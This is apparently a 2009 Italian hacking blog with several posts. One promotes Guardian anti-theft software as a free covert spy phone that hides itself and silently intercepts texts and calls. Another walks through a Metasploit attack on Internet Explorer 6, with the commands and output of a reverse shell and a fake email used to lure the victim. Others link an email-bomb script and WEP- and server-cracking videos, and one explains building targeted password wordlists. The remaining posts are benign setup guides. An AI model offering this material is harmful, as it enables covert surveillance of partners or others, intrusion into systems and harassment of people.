Create il vostro cellulare spia a costo zero!

Pubblicato su cellulare spia il Luglio 6, 2009 da ago1980

Oggi, guardando i maggiori telegiornali nazionali, sono venuto a conoscenza della nuova mania che imperversa la rete, l’oggetto che sempre più persone (a quanto dicono) bramano: il cellulare-spia. Italiani popolo di spioni? Non è comunque questo l’argomento di cui mi occuperò oggi. Mettiamo caso che voi vogliate il vostro telefono-spia. Secondo quanto detto dai telegiornali, dovreste andare in siti internet specializzati (nati come funghi da qualche tempo) e ordinare il cellulare che preferite, con tutte le caratteristiche da perfetto agente 007. Dopodichè, basterebbe aspettare l’arrivo del pacco col vostro spione dentro, e cominciare a usarlo, per sentirvi più leggeri riguardo quel dubbio che avevate riguardo gli affari di qualcun’altro. La buona notizia è che, se fate così, vi sentirete senz’altro più leggeri. La cattiva è che la prima leggerezza che avvertirete sarà quella al portafoglio. Infatti, cellulari con tutte le caratteristiche da spionaggio più all’avanguardia, possono arrivare a costare anche la bellezza di 1200 €. In pratica fareste prima a ingaggiare un detective.
Ma qual’è il segreto di questi cellulari? Magia? Complicatissimi circuiti interni modificati apposta per farvi sapere tutto sulle attività telefoniche svolte? No. La maggior parte del lavoro è di un comune software. Oggi, dunque, vi mostro come ottenere lo stesso (o quasi) risultato, con la sola differenza che, per attuare questa soluzione che vi propongo, non dovrete spendere nemmeno un centesimo, ma passare un pò di tempo da soli col vostro pc e il vostro cellulare, invece di aver speso centinaia di euro e stare ad aspettare il pacco con la vostra tecnologica “bocca della verità”. Vi mostro cosa fare:


Cosa vi serve:

-un cellulare con Symbian integrato

Symbian è un sistema operativo per dispositivi mobili (cosiddetti Smartphone), prodotto da Symbian Ltd. Symbian appartiene a Ericsson, Panasonic, Siemens AG, Samsung, Nokia e Sony Ericsson. Se non lo avete già, sceglietene uno da questa lista. Qui c’è l’unica spesa da affrontare, ovvero l’acquisto di uno di questi smartphone. Il prezzo minimo per questi gioiellini si aggira intorno ai 150-170€, ma vi ricordo che state ancora nella fascia dei 1200€ di cui vi avevo parlato prima, quindi a conti fatti questa soluzione risulta ancora vantaggiosa rispetto a quella di ordinare un cellulare fra quelli proposti dai siti specializzati di “spionaggio telefonico”.

-il programma “Guardian

Questo è il punto cruciale di questo breve “tutorial”, se così si può definire, per ottenere il vostro cellulare spia gratuitamente. Guardian è un programma unico nel suo genere. Innanzitutto, ad ogni accensione del cellulare questa applicazione si occupa di stabilire se la sim inserita e’ autorizzata, in caso negativo notifica l’avvenuto cambio sim inviando un sms ad un numero telefonico stabilito in precedenza. Inoltre fornisce funzionalita’ di controllo remoto del cellulare, consentendo (tra le altre cose) di cancellare le proprie foto/rubrica/sms/video/audio in caso di smarrimento o furto del cellulare DA NOTARE che tutti gli sms inviati e ricevuti dal programma non saranno notificati in nessuna maniera all’utente, nessuna icona, nessuna illuminazione, nessun suono, nessuna vibrazione, nulla visibile nei messaggi inviati/spediti/in uscita ed ovviamente nessuna traccia nel registro.

Alcuni menù di Guardian

Ecco le caratteristiche avanzate (prese direttamente dal sito del geniale Marco Bellino, che vi consiglio caldamente di visitare):

- Sms Notification -

Guardian avvisa con un sms l’avvenuto cambio sim e riportera’ informazioni quali il numero di telefono del nuovo possessore, l’identificativo della cella GSM a cui il terminale e’ attualmente agganciato, l’identificativo del paese e l’operatore utilizzato. Da notare che l’sms viene inviato senza che il nuovo possessore ne abbia notifica.

- AutoStart -

Guardian parte in automatico ad ogni avvio del cellulare, e’ sufficiente installarlo e configurarlo affinche’ svolga il suo lavoro.

- AutoHiding -

Sostituendo la sim con una non autorizzata (oppure accendendo il terminale senza sim inserita) il programma nascondera’ la propria presenza (di conseguenza non piu’ accessibile). Quindi il nuovo utilizzatore non avra’ modo di accorgersi immediatamente della presenza di un antifurto installato. Reinserendo una sim autorizzata Guardian ritornera’ visibile.

- Multilanguage -

Guardian e’ predisposto per essere Multilingua, ti bastera’ scaricare la versione appropriata.

- Uninstall Protection -

Fornisce una protezione contro le disinstallazioni non autorizzate. Il programma non compare neppure tra la lista dei programmi installati, per la sua rimozione e’ presente una apposita procedura accessibile dall’interno del programma.

- Hard Reset Protection -

I terminali odierni, sono dotati di una particolare procedura (l’hard-reset) che consente di riportare il terminale alle impostazioni di fabbrica (rimuovendo ogni software installato). I software analoghi possono essere completamente “raggirati”, attraverso questa procedura. Guardian e’ dotato di un innovativo sistema di copia replicata che gli permette di “sopravvivere” illeso ad un hard-reset nel 90% dei casi.

- Low Overhead -

Durante l’utilizzo quotidiano del cellulare con una sim autorizzata, Guardian non occupa alcuna risorsa, non viene eseguito neppure in background. Il programma viene avviato esclusivamente all’accensione del cellulare e se la sim e’ autorizzata, semplicemente si chiude senza occupare inutilmente preziose risorse.

(*) Remote Control Plugins

Dopo che e’ stato segnalato l’avvenuto cambio sim e’ possibile inviare a Guardian dei comandi attraverso sms. – Recupera i tuoi sms e la tua rubrica dal cellulare. – Acquisisci informazioni sul ladro monitorando gli sms che invia e riceve, le chiamate in arrivo e in uscita, i contatti che ha in rubrica. – Segui gli spostamenti del tuo cellulare, tramite le informazioni di localizzazione gsm. – Proteggi la tua Privacy cancellando i contenuti dal cellulare (sms, rubrica, immagini, audio, video) – Blocca il telefono o la SIM per impedire che qualcuno lo utilizzi. – Guardian e’ tutto questo e molto altro ancora…

(*) Sim White List

Possibilita’ di registrare sino a 10sim in all’interno della lista di sim autorizzate.

(*) Le ultime due features saranno attivate dopo una donazione (di soli 3 euro, ndr)

Analizzando i risultati, con 150€ per il cellulare (se non lo possedete già, altrimenti risparmiate anche questi) + eventuali 3€ per una donazione (che vi permetteranno tralaltro di sfruttare completamente questo fantastico programma), avete risparmiato, ipotizzando che il cellulare spia già fatto vi costi online …diciamo 600€ (la metà di quanto ho detto all’inizio, perchè sono ottimista di natura), avete risparmiato, con pochissimo tempo di lavoro, più del 75%. Altrimenti, se avete già un cellulare fra quelli in questa lista, potrete avere grazie a Guardian, freeware, un cellulare spia gratis.

Inizialmente, Guardian è stato concepito come antifurto, e io non vi incoraggio a usarlo come software per spiare gli affari altrui. Tutto il materiale è affidato al buonsenso di chi lo usa, naturalmente, e mi dispiacerebbe se, in futuro, Bellino dovesse incorrere in problemi per qualcuno che ha abusato in modo incorretto del servizio che lui offre.

A voi la parola.

fonte-:http://gih.altervista.org


Guida: creare server Call of Duty 4

Pubblicato su Call of Duty 4 il Maggio 3, 2009 da ago1980

Guida: creare server Call of Duty 4

Messaggiodi killahop il 28/04/2009, 16:08
Questo tutorial è per chi vuole avviare un server privato di Call of Duty 4 per internet sul suo PC di casa.

Per prima cosa è necessario assicurarsi di aver fatto il forwording delle porte se sei dietro un router.
È pertanto necessario assicurarsi che il firewall software non stia bloccando CoD4 che verrà chiamato come ‘iw3mp.exe’ nel tuo programma di impostazioni del firewall / eccezioni.

Per il router si deve fare il forwarding delle porte:

UDP: 28960
UDP: 20800
UDP: 20810

Ok, questa parte è più facile che la prima parte. Speriamo che non avrete troppi problemi di impostazione con il router (probabilmente la parte più difficile). Al fine di ottenere il vostro server è necessario andare a fare una config. Per la vostra convenienza qui è una configurazione per voi:QUA
Scaricate il file config e apritelo con il Blocco note o WordPad e poi cambiare il nome del server e la RCON e salvate.
Fatto cio dovete spostare il file nella cartella principale del gioco normalmente è C:/Programmi/Activision/Call of Duty 4.

Parte 3

Ora che avete il vostro config modificato e messo nella giusta directory è necessario fare un altro collegamento per iw3mp.exe sul desktop e rinominarlo come server dedicato. Ora si hanno 2 collegamenti al ‘iw3mp.exe’, uno per il gioco on-line CoD4 e l’altro per il vostro server dedicato CoD4. Quindi ora, con il collegamento per il server che avete fatto cliccate su di esso e scegliere Proprietà.

Quando si dice “Destinazione” dopo la scritta iw3mp.exe dovete aggiungere questa riga

Codice: Seleziona tutto
+set dedicated 2 +set sv_punkbuster 1 +exec dedicated.cfg +map_rotate

quindi dovrebbe apparire qualcosa di simile a questo:

“C: Programmi/ActivisionCall of Duty 4 – Modern Warfareiw3mp.exe” + set dedicato 2 + set sv_punkbuster 1 + exec dedicated.cfg + map_rotate

Quindi fate clic su Applica. Nota che, se non vi permette di applicare e vi dà un errore, si sta facendo qualcosa di sbagliato.

Ok, fatto questo il server dovrebbe partire.
Ora ce la questione dell ip magari la vederenmo piu avanti

GUIDA Metasploit Framework..

Pubblicato su GUIDA Metasploit Framework il Marzo 22, 2009 da ago1980

http://carlitobrigante.files.wordpress.com/2008/02/resource.png

Per lavorare e provare il Metasploitframework , ho selezionato il Framework versione 2 , da: Penetration–>Metasploit Exploitation Framework–>Framework Version 2–>MSFconsole.




Per scegliere l’ exploit , ho eseguito il comando che mostra tutti gli exploit disponibili , show exploits.
http://carlitobrigante.files.wordpress.com/2008/01/msf-2.thumbnail.png

Quì ho scelto di usare l’ exploit:“ie_vml_rectfill” , questo , già dal codice , è un exploit che sfrutta una vulnerbilità insita in Internet Explorer alla versione 6 , e che permette all’ attaccante di eseguire del codice sul host della vittima.

un exploit , dopo la scelta , deve essere inserito e configurato , e viene fatta questa operazione tramite il comando use , e come configurazione visto che ogni exploit vuole una configurazione diversa , per farla ho digitato il comando show options , il quale mostra tutte le opzioni necessarie all’ uso dell’ exploit selezionato , e gli obbiettivi/target , a cui l’ exploit può far capo con successo.

il comando che ho dato quindi è:msf > use ie_vml_rectfill

dopodiché per vedere le opzioni di cui l’exploit necessita ho dato il comando show options:

msf ie_vml_rectfill > show options

Exploit and Payload Options
===========================

Exploit: Name Default Description
——– ——– ——- —————————-
optional HTTPHOST 0.0.0.0 The local HTTP listener host
required HTTPPORT 8080 The local HTTP listener port

Payload: Name Default Description
——– ——– ———– ——————————————
required EXITFUNC seh Exit technique: “process”, “thread”, “seh”
required LHOST XX.XXX.X.XX Local address to receive connection
required LPORT 4321 Local port to receive connection

Target: Windows NT 4.0 -> Windows 2003 SP1

msf ie_vml_rectfill(win32_reverse) >

*********************

Apro una piccola parentesi per dire che in ogni momento è possibile richiamare tramite alcuni comandi la lista disponibile di nops , encoders , exploits e di comandi disponibili tramite il comando help.

http://carlitobrigante.files.wordpress.com/2008/01/msf-7.thumbnail.pnghttp://carlitobrigante.files.wordpress.com/2008/01/msf-8.thumbnail.pnghttp://carlitobrigante.files.wordpress.com/2008/01/msf-7.thumbnail.png

(gli exploits sono stati riportati negli screenshots precedenti…)

***********

Per scegliere il payload diamo il seuente comando:

msf ie_vml_rectfill(win32_reverse) > show payloads

Metasploit Framework Usable Payloads
====================================

win32_downloadexec Windows Executable Download and Execute
win32_exec Windows Execute Command
win32_passivex Windows PassiveX ActiveX Injection Payload
win32_passivex_meterpreter Windows PassiveX ActiveX Inject Meterpreter Payload
win32_passivex_stg Windows Staged PassiveX Shell
win32_passivex_vncinject Windows PassiveX ActiveX Inject VNC Server Payload
win32_reverse Windows Reverse Shell
win32_reverse_dllinject Windows Reverse DLL Inject
win32_reverse_meterpreter Windows Reverse Meterpreter DLL Inject
win32_reverse_stg Windows Staged Reverse Shell
win32_reverse_stg_upexec Windows Staged Reverse Upload/Execute
win32_reverse_vncinject Windows Reverse VNC Server Inject

Questi i payloads disponibili , e da questi non dobbiamo fare altro che selezionarne uno e vedere se necessita di configurazione , quindi con il comando seguente selezioniamo per il nostro attacco il payload: win32_exec , il quale ci consentirà l’esecuzione di comandi tramite il prompt Windows Xp , che è il sistema attaccato.

msf ie_vml_rectfill > set PAYLOAD win32_reverse

una volta eseguita la selezione del payload , come per l’ exploit vediamo le opzioni di cui necessita , diamo quindi il solito comando show option , ottenendo il risultato seguente:

msf ie_vml_rectfill(win32_reverse) > show options

Exploit and Payload Options
===========================

Exploit: Name Default Description
——– ——– ——- —————————-
optional HTTPHOST 0.0.0.0 The local HTTP listener host
required HTTPPORT 8080 The local HTTP listener port

Payload: Name Default Description
——– ——– ———– ——————————————
required EXITFUNC seh Exit technique: “process”, “thread”, “seh”
required LHOST 29.230.6.74 Local address to receive connection
required LPORT 4321 Local port to receive connection

Target: Windows NT 4.0 -> Windows 2003 SP1

Le opzioni de default non vanno bene per il payload che abbiamo selezionato , visto , come ripeto , che è la vittima a connettersi al nostro fake server , allora devo dargli l’indirizzo su cui la vittima si connette e noi riceviamo la sua connessione e lo facciamo con il seguente comando:

msf ie_vml_rectfill(win32_reverse) > set HTTPHOST 29.XXX.6.XX

HTTPHOST -> 29.XXX.6.XX

Ora basta dare il comando exploit ,(colore-blue-prompt-vittima), e guardate voi il risultato ottenuto , (gli IP sono stati mascherti con delle “X”):

msf ie_vml_rectfill(win32_reverse) > exploit


[*] Starting Reverse Handler.
[*] Waiting for connections to http://29.XXX.X.XX:8080/
[*] Client connected from 1.42.XXX.XX:1042…
[*] Got connection from 29.XXX.6.XX:4321 <-> 1.42.XXX.XX:1043

Microsoft Windows XP [Versione 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\w33dsmok3r\Desktop>




http://carlitobrigante.files.wordpress.com/2008/01/metasploit_logos_icbm1.jpg

Ed ecco nelle nostre mani il totale controllo del sistema della vittima.

Microsoft Windows XP [Versione 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\w33dsmok3r\Desktop>exit

exit è stato il comando che io ho dato , perché stiamo facendo un test , ma pensate voi un malintenzionato cosa potrebbe arrivare a fare…

***

Ecco quindi a cosa serve il metasploitframework… …a rendersi immuni da attacchi di malintenzionati , la vittima del nostro attacco infatti , una volta che è venuto a conoscenza della falla di IE-6 , potrebbe benissimo pensare di passare a IE-7 , rendendosi così immune dall’ attacco con l’ exploit che abbiamo scelto in questo tutorial.

Il metasploitframework , è quindi un progetto grandioso , basta farne buon uso. I metodi di attacco a seconda della vittima e dell’ exploit sono molteplici , io al posto di usufruire del payload win32_reverse , avrei potuto ad esempio richiamare il payload win32_reverse_vncinject in questo caso avrei potuto anche ottenere il controllo grafico del sistema della vittima , tramite appunto l’ iniezione del payload di un VNC control , il programma per gestire da remoto un desktop , che però in questo caso sarebbe stato non autorizzato logicamente.

***

Non dobbiamo dimenticare una cosa però , che nel nostro caso è di fondamentale importanza , e cioé la connessione in un host “fake” del sistema vittma , praticamente c’é stata dopo l’ analisi dell’ attacco e la decisione di usare l’ exploit win32_reverse , la decisione di creare una fakemail , che conteneva l’ indirizzo IP dell’ host fake nascosto in un immagine che ha fatto in modo che la vittima si sia connessa al server fake , sul quale poi noi abbiamo ricevuto la connessione della vittima.

L’IP host fake , è stato inserito nella configurazione del exploit con il comando:

msf ie_vml_rectfill(win32_reverse) > set LHOST 29.XXX.6.XX

in questo modo abbiamo ricevuto la connessione , e ci siamo impadroniti del sistema vittima.
VIDEO_COME_ENTRARE_IN_PC_TRAMITE _I.E

CRAKKARE CHIAVE WEP……

Pubblicato su CRAKKARE CHIAVE WEP. il Marzo 15, 2009 da ago1980

ECCOVI UN VIDEO CHE HO REALIZZATO PER CAPIRE COME CRAKKARE CHIAVE WEP…….
VIDEO_CRAKKARE_WEP

CODE bomb email..

Pubblicato su CODE bomb email. il Marzo 1, 2009 da ago1980

Per far funzionare questo code dovete scaricare il file QUA .Poi uppate il file su’ un vostro host.
ex:http://tuo_sito/bomb.php
inserisci l’email da bombardare e invia ed il gioco e fatto……

Creare una wordlist personalizzata….

Pubblicato su Creare una wordlist il Febbraio 15, 2009 da ago1980

http://www.blumouse.com/immagini/password_sicura_lock.jpg

Questo tutorial riguarda l’ uso minimo di Wyd e le wordlist , il componimento e , aggiungo , anche la loro raccolta , quindi coloro che volessero contribuire mettendoci altre wordlist , ogni tot mesi le raccoglierò e farò un update del seguente tutorial.

Ma serve davvero un tutorial sulle wordlist?!?

Se vi state ponendo queste domande sappiate che la risposta è molto semplice: ho trovato che la gestione delle wordlist non era semplice come credevo e crearsene una non è una cosa che si fa in “un pò di tempo libero”. Personalmente, come ogni buon niubbo che si rispetti, incontro molte difficolta nella creazione e gestione delle wordlist; per questo motivo penso che altre persone incontrando le mie stesse difficoltà possano aver bisogno di una piccola guida che li aiuti.

[Usare wordlist esistenti]
Di wordlist se ne trovano a bizzeffe sulla rete, su Openwall.com, ad esempio, troviamo molte wordlist divise per lingua e magari anche per categoria. Personalmente ho scaricato le wordlist in cartelle separate dividendole per lingua e le ho unite in un unico file mettendole in ordine ed eliminando le parole ripetute:

————–
cat wordlist1.txt wordlist2.txt > allWord.txt
————–

in questo modo uniamo il contenuto di “wordlist1.txt” e “wordlist2.txt” nel file “allWord.txt”, quindi non ci resta che ordinarlo e “pulirlo” dai doppioni:

————–
cat allWord.txt | sort | uniq > allWordOrd.txt
————–

[Wyd - Generare wordlist da file]
Questo è il metodo più mirato, nel senso che andremo a creare noi la wordlist. Questo significa che se il target è un fanatico del “Signore Degli Anelli” andremo ad inserire all’interno della wordlist solo parole inerenti alla saga aumentando le nostre chance di successo.
Useremo Wyd presente in BT3 di default e sul sito di Remote-Exploit.org. Wyd prende in input un file o una cartella intera e ne estrapola le stringhe di caratteri che possono formare una parola. Prima di inziare vi dico subito che supporta svariati formati per i file di input:

* plain
* html
* php
* doc
* pdf
* mp3
* ppt
* jpeg
* odt / ods / odp

Notate che supporta la maggior parte dei formati che si incontrano navigando nel web, questo significa che se fate il mirroring di un sito sul vostro Hard Disk usando HTTrack o semplicemente wget avrete a disposizione tantissimi file dal quale estrapolare parole da inserire nella vostra lista. Facciamo un esempio (irreale visto che tratteremo wikipedia):

————-
cd ~
wget -r wikipedia.org

————-

lasciamo che wget copleti il download del sito, quindi usiamo wyd:

————-
cd /usr/local/wyd
./wyd.pl -o ~/wordlistWikipedia.txt ~/wikipedia.org/*

————-

Abbiamo creato nella nostra home il file “wordlistWikipedia.txt” che contiene tutto il contenuto dei file presenti dentro la cartella “~wikipedia.org” dentro la quale abbiamo una copia del sito scaricato. A questo punto possiamo benissimo pulire il file come descritto sopra al fine di eliminare i doppioni e ordinarne il contenuto.

[Gestire le wordlist]
Leggendo il forum di Remote-Exploit.org ho letto un post di shamanvirtuel che spiegava il suo metodo per recuperare spazio dalla gestione delle wordlist, ma più in generale questo metodo funziona per ogni tipo di file. Si tratta di comprimere la wordlist creandone un modulo lzm con dir2lzm.
In pratica si crea una cartella e si mette al suo interno la wordlist che vogliamo comprimere:

————–
mkdir wordlist
mv allWord.txt ./wordlist
————–

quindi si comprime la cartella:

————–
dir2lzm ./wordlist wordlistModule.lzm
————–

Abbiamo creato il modulo “wordlistModule.lzm” che possiamo scompattare velocemente nel momento del bisogno usando lzm2dir:

————–
lzm2dir wordlistModule.lzm
————–

Anche se il tempo di creazione del modulo può risultare molto lungo il vantaggio di risparmiare spazio utile sul proprio laptop è moto alto, in questo modo potete trasportare le vostre wordlist più velocemente da un pc ad un altro (io uso il fisso per creare wordlist perchè è più potente e quindi veloce, al momento del bisogno le passo sul notebook).

Proprio ieri -=Xploitz=- , sul forums.remote-exploit , ha postato due torrent , (reperibili quì…) , che contengono tutte le wordlist raccolte durante il tempo intercorso su altri due post , chi possiede le wordlist inserite nel box del nostro blog le cancelli visto che le ho postate lì la granparte , ma i torrent per coloro che desiderano una wordlist eccezionale sono indispensabili.

fonte;:brigante

Scaricare video da Youtube

Pubblicato su Scaricare video da Youtube il Febbraio 13, 2009 da ago1980

Per iniziare la spiegazione dobbiamo innanzi tutto analizzare la struttura di una pagina video youtube:

http://youtube.com/watch?v=wtzlyzjSCkU

watch viene chiamata servlet e cioè un programma residente sul server di youtube, che si occupa di farci visualizzare la pagina di youtube che siamo abituati a vedere.

Il punto interrogativo indica che tutto quello che segue nell’indirizzo sono delle informazioni (valori) che vengono passate alla servlet.

v=wtzlyzjSCkU è un codice univoco che distingue un video da un altro, che la servlet prende ed elabora per mostrarci la pagina del video. Chiameremo questo codice id video.

Youtube ci mette a disposizione anche un’altra servlet “get_video” che è quella che ci permette di scaricare il video da youtube. Ma non è molto semplice da usare. Per prelevare un video dobbiamo passare due valori alla servlet: il primo lo conosciamo già (id video), il secondo viene chiamato codice di sessione ed è una stringa di caratteri che cambia sempre ad ogni visualizzazione della pagina youtube.

Questo codice di sessione può essere reperito nel codice sorgente della pagina youtube. Collegandosi all’indirizzo:

http://youtube.com/get_video?video_id=[id video]&t=[codice sessione]

Crakkare server……….

Pubblicato su Crakkare server.......... il Febbraio 9, 2009 da ago1980

Vi mostro con questo video come crakkare un server……
QUA

installare backtrack3 su Hardisk

Pubblicato su installare backtrack3 su Hardisk il Febbraio 9, 2009 da ago1980

come installare backtrack3 su Hardisk , e farla partire poi dal bootloader di *ubuntu.

***ATTENZIONE***1 sola volta lo scriverò…chi ha dati importanti , che si faccia il proprio backup , perché tutte le operazioni di installazione , sono sempre a portata di erroe…per tutti , anche per i più avanzati degli utenti.

*****Backtrack3 é una distribuzione GNU/linux , che si basa su Slax e , con qualche piccolo passaggio che vedremo fra pochissimi giorni , ne usa anche i programmi…
per installare la backtrack3(bt3) , non si usano gli stessi metodi che si usano in altre distro (almeno la maggior parte) , e si procede in questo modo:

1- accendere il Pc con il disco di installazione di bt3.

2- dal BIOS , appena acceso il PC , premiamo il tasto che fa partire il popup della scelta sorgente hardware (nel mio caso é l”F11“), e selezionarla.

3- dopo che bt2 é partita ed arrivata alla schermata di login diamogli username e password , di norma rispettivamente “root” e “toor” ed entriamo nel desktop , ricordiamoci però che essendo una Slax-based , la bt3 per partire ha bisogno del classico comando

startx

4- arrivati al desktop di bt3 , apriamo il qtparted e teniamo a mente le partizioni che non devono essere toccate….
….prendiamo come esempio che abbiate:
**ubuntu installato sulla partizione “sda1“
e vogliate fare l’installazione di bt3 sulla partizione “sda4” , considerando che la swap é nella partizione “sda2“…(piccola parentesi , per chi non lo sapesse , la SWAP é una partizione che tutte le distro GNU/Linux devono avere ed é una vera e propria memoria che funziona in extremis , ed é appunto uno spazio su HD formattato in filesystem SWAP che é condivisibile tra più distribuzioni).

5- aprite quindi una konsole , (Menù—system—konsole) , e smontate , per sicurezza che non é mai abbastanza , tutte le partizioni che non vanno toccate , che nel nostro esempio é una sola , quella di *ubuntu in “sda1“
umount /dev/sda1
umount /dev/tutte le altre partizioni che contengono O.S. e che non vanno toccate
dopo aver fatto lo “smontaggio” di tutte le partizioni da non toccare , cominciamo a crearci la partizione per la bt3.

con il comando mkfs.ext2 creiamo la partizione per la bt3 nel restante spazio del nostro HD , che supponiamo sia nel nostro caso la partizione “sda4″
quindi:
mkfs.ext2 /dev/sda4
aspettiamo che il sistemna abbia finito , e creiamo la directory dove installare la bt3 , una sottodirectory di mount (non ho mai capito il motivo dell’installazione in un sottodirectory…..ma avranno sicuramente le loro ragioni. :) )
quindi:
mkdir /mnt/backtrack
ora dobbiamo montare la partizione nella nostra directory appena creata , e quindi dare i comandi:
mount /dev/sda4 /mnt/backtrack
occhio allo spazio tra le due directory…

bene….
fatto questo non ci resta che andare in:
—Menù start di KDE — System — BackTrack Installer , e ci comparirà la finestra di installazione di bt3.

abbiamo quindi nel primo riquadro la sorgente di installazione , che dobbiamo “LASCIARE come la TROVATE” nel secondo riquadro selezioniamo la directory dove installare bt3 , che é nel nostro caso:
/mnt/backtrack

nel terzo riquadro selezioniamo di installare bt3 nel “MBR” del nostro disco.
fatto questo selezioniamo di installare backtrack3 in modalità “Real” , che richiede un minimo di 2,7GB per l’ installazione , clicchiamo su install , e aspettiamo i 10/15 minuti che finisca l’installazione.

adesso abbiamo la nostra bt3 installata sul nostro sistema……voi dite , fino a quà ci arrivavo da solo…he-he , ma adesso :

……o installiamo ubuntu , oppure se ubuntu é già installato…come facciamo???

……bene , se ubuntu non é già installato non vi resta che installarlo e scegliere di installare GRUB nel MBR dell’ hardisk , in modo da sovrascrivere il LILO di bt3.
(l’installer di ubuntu ce lo dice premendo il tasto “avanzate” , prima di premere il tasto “installa” ultimo tasto per l’installazione di ubuntu , e quindi nell’ultima schermata e appena premuto in automatico il risultato sarà “hda0“).

********************

…….se invece avete già ubuntu installato sulla vostra macchina lasciate in bianco l’opzione del bootloader LILO di backtrack , e poi aggiungete queste rigue:

title <<back|track3
rootnoverify (hd0,3)
kernel /boot/vmlinuz vga=791 root=/dev/sda4 ro
boot
quiet

la partizione che io ho specificato sda4 , è variabile secondo la partizione da voi scelta naturalmente

***

Se invece state utilizzando solo backtrack e volete far partire dal vostro LILO anche windows XP potete tranquillamente aggiungere le seguenti stringhe:

other=/dev/sda*

label=WinXPpro

Dove l’ asterisco rappresenta la partizione dove si trova WinXP , però state attenti perché in questo caso dovete fare in modo che il LILO di backtrack si installi in sda.

**********************

Se avete incidenti durante l’ installazione , oppure volete solo usare un metodo diverso , quello che uso sempre io se ho Debian.sid , oppure Ubuntu già installato su HDisk , è quello di usare il cd di una live , io personalmente consiglio spassionatamente di usare Knoppix , che come liveCD , é tra le migliori…
per entrare in KNOPPIX, bisogna seguire gli stessi passi che avete seguito per entrare nella live di bt3 , accendere ilk PC con il disco della liveCD , e selezionare il tasto F11 o quale sia il tasto del vostro PC pe far partire il popup di selezione sorgente Hardware e far partire KNOPPIX
una volta entrati in Knoppix , (o in qualsiasi distro live che permetta linstallazione di GRUB) , andiamo a cliccare sullapartizione dove si trova ubuntu , sda1, e con il tasto destro montiamo la partizione , e ancora con il tasto destro gli diamo il “change write/read mode” in modo da poter scrivere sulla partizione di ubuntu , e il sistema ci chiederà conferma tramite un popup a cui noi gli risponderemo con l’ “OK“
una volta fatta questa oprazione , apriamoci una konsole, icona sul pannello , e facciamo in modo che KNOPPIX , sovrascriva il LILO di BackTrack3, con il seguente comando:

sudo grub-install –root-directory=/mnt/sda1 /dev/sda

dove “sda1” é la partizione in cui abbiamo installato ubuntu , e “dev/sda” é il nostro Hardisk.(attenzione io sto usando le lettere “S” per le partizioni , ma se non avete un Hardisk SeralATA dovete usare la lettera “h“)
con questo comando noi tramite KNOPPIX , sovrascriviamo il LILO di bt2 con il GRUB di ubuntu.
………é fatta???
NO….non é finita ma manca pochissimo per sguazzare nei tool magnifici di backtrack2… :-)

adesso riavviamo il sistema ed entriamo in ubuntu.
tramite il terminale di ubuntu , (o nuovamente la konsole per kubuntu) , apriamo con i permessi di root il nostro file “menu.lst” che si trova in “/boot/grub” , e quindi (con il nostro editor di testi preferito , ad esempio “gedit” oppure “kate”) daremo il comando:

sudo gedit /boot/grub/menu.lst

una volta aperto il file , e stando attenti a non toccare nulla , andiamo alla fine del file di testo , e dopo le scelte di “boot” aggiungiamo le righe che permetteranno a backtrack2 di avviarsi al boot:

title <<back|track2
rootnoverify (hd0,3)
kernel /boot/vmlinuz vga=791 root=/dev/sda4 ro
boot
quiet

dove :
title = é una stringa che ci permette unicamente di riconoscere a prima vista la distribuzione , e che io ho identificato con back|track2
(h0,4) é la stringa che identifica la partizione dove si trova bt2 , e cioé nel nostro primo hardisk , che incominciando a contare da “0″ , é appunto nel nostro caso “0″ , e la partizione di root per backtrack2 , che é la “3″ essendo installata in “sda4″ , anche qui si comincia da “0″.

kernel /boot/vmlinuz vga=791 root=/dev/sda4 ro = questi sono i dati dell’ immagine di bt2 che permettono il caricamento della distro
e “boot“—non credo serva dirvelo… :-)

salviamo ed usciamo dal file “menu.lst” , ed al riavvio di ubuntu avremo la nostra scelta “funzionante” che ci permetterà di avviare backtrack2 dal GRUB di ubuntu.
ciao e alla prossima.

P.S.:
vedrò se aprire un piccolo TAG dove sia possibile parlare , o meglio scrivere , solo ed unicamente di <back|track2.
vedremo come procede….. :-)
fonete:http://carlitobrigante

Installazione di BackTrack-3.final su usb da windows.

Pubblicato su BackTrack-3.final su usb il Gennaio 29, 2009 da ago1980

Questa piccola guida riprende una guida reperibile su internet che tratta dell’installazione su pen drive di una distribuzione knoppix , è stata dunque riadattata per la Backtrack e l’abbiamo preferita alle altre perché è davvero semplicissima.

Questo è ciò di cui avete bisogno per avere la vostra Backtrack su usb:

- pen drive di almeno 1 GB.

- un pc con sistema operativo windows installato (xp o vista).

- la *.iso (versione apposita per usb) di Backtrack 3 reperibile dal WiKi (wallaper di BackTrack 3 a destra della colonna centrale del blog)

- file fixkp2.exe .

Ora seguite questi passaggi:

1-Scaricate il file eseguibile fixkp2.exe da questo indirizzo: http://www.pendrivelinux.com/downloads/fixkp2.exe ed eseguitelo, verrà creata automaticamente una cartella denominata USB-Knoppix nella destinazione che imposterete a vostro piacimento.

2-Scaricate la *.iso di Backtrack e spostatela nella cartella precedentemente creata cioè USB-Knoppix.

3-Cliccate il file fixkp2.bat presente nella cartella USB-Knoppix e seguite le istruzioni che vi vengono date. {Dovete inizialmente inserire la lettera corrispondente alla vostra pen drive , (già inserita precedentemente), poi vi verrà chiesto se siete disposti a formattarla(dovete confermare con ‘y‘), l’estrazione e la copia dei files sulla penna avverrà automaticamente, infine vi verrà chiesto se volete rendere bootable la vostra pen drive e voi naturalmente dovete confermare’y‘}.

http://carlitobrigante.files.wordpress.com/2008/07/immagine104.jpg?w=300&h=225
http://carlitobrigante.files.wordpress.com/2008/07/immagine27.jpg?w=300&h=225
http://carlitobrigante.files.wordpress.com/2008/07/immagine33.jpg?w=300&h=225

4- Riavviate il vostro pc e impostate il vostro BIOS affinché faccia il boot da usb , salvate i cambiamenti e riavviate nuovamente.

5- Eseguito il reboot (con pen drive inserita), dovrebbe partire la vostra copia di Backtrack dalla memoria usb.

Questi sono 2 screenshoot della versione USB di Backtrack 3.final . Potete notare la grafica accattivante di Compiz Fusion già pronto all’uso
http://carlitobrigante.files.wordpress.com/2008/07/snapshot1.png?w=300&h=225
FONTE:carlitobrigante..